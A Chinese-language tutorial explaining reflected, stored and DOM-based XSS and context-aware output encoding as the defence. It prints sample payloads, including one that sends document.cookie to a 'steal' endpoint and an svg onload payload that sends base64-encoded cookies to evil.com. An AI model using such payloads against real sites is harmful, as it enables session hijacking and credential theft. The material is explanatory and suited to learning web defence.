XSS攻击本质是用户输入未安全处理即被渲染执行,分反射型(服务端回显)、存储型(持久化数据库)和DOM型(纯前端触发),防御需按输出上下文精准编码而非简单过滤。

alert("XSS") 这类代码能直接在别人浏览器里执行,说明页面没做任何防护 —— XSS 攻击的本质就是:**用户输入未被安全处理,就被当作 HTML/JS 渲染进页面,导致任意脚本被执行**。它不依赖服务器端逻辑漏洞,只要输出点没转义、没隔离、没限制上下文,就可能中招。
为什么 innerHTML 赋值是高危操作
DOM 操作中最常见的触发点就是直接用用户数据写入 innerHTML:
- 它会把字符串完整解析为 DOM 节点,
<script></script>、onerror、javascript:等都会被激活 - 哪怕后端已过滤
<script></script>,攻击者仍可绕过:<img src="x" onerror="alert(1)" alt="HTML中什么是XSS攻击以及有哪些类型" >或<div onclick="alert(1)">click</div> - 现代框架(如 Vue/React)默认对插值做 HTML 转义,但一旦显式调用
v-html或dangerouslySetInnerHTML,防护即失效
location.search 和 location.hash 是反射型与 DOM 型的分水岭
URL 参数(search)由服务端接收并回显 → 典型反射型;而 hash 不发给服务端,纯前端解析 → 容易引发 DOM 型 XSS:
- 反射型示例:
https://site.com/search?q=<script>fetch("/api/steal?c="+document.cookie)</script>—— 后端若拼接该参数进 HTML,就中招 - DOM 型示例:
https://site.com/profile#name=<img src="x" onerror='eval(atob("YWxlcnQoMSk="))' alt="HTML中什么是XSS攻击以及有哪些类型" >—— 前端 JS 读取location.hash后用innerHTML插入,不经过服务端也能触发 - 关键区别:反射型需服务端参与回显;DOM 型全程在浏览器内完成,WAF 和服务端过滤完全无效
存储型 XSS 的危险在于“一次注入,多人中招”
评论、昵称、文章内容等被存入数据库,再渲染给所有访问者 —— 这是最难察觉也最持久的类型:
- 攻击者提交:
<svg onload='fetch("https://evil.com/log?c="+btoa(document.cookie))'></svg>,管理员一打开列表页就泄露凭证 - 富文本场景更棘手:允许
<b></b>、<a></a>,但禁止on*事件和javascript:协议,需用白名单而非黑名单过滤 - 即使后端做了转义,若前端又用
innerHTML解析富文本 HTML,等于前功尽弃
script 标签内?URL 中?不同位置对应不同的编码规则 —— 漏掉任一上下文,就等于留了一扇没锁的门。



















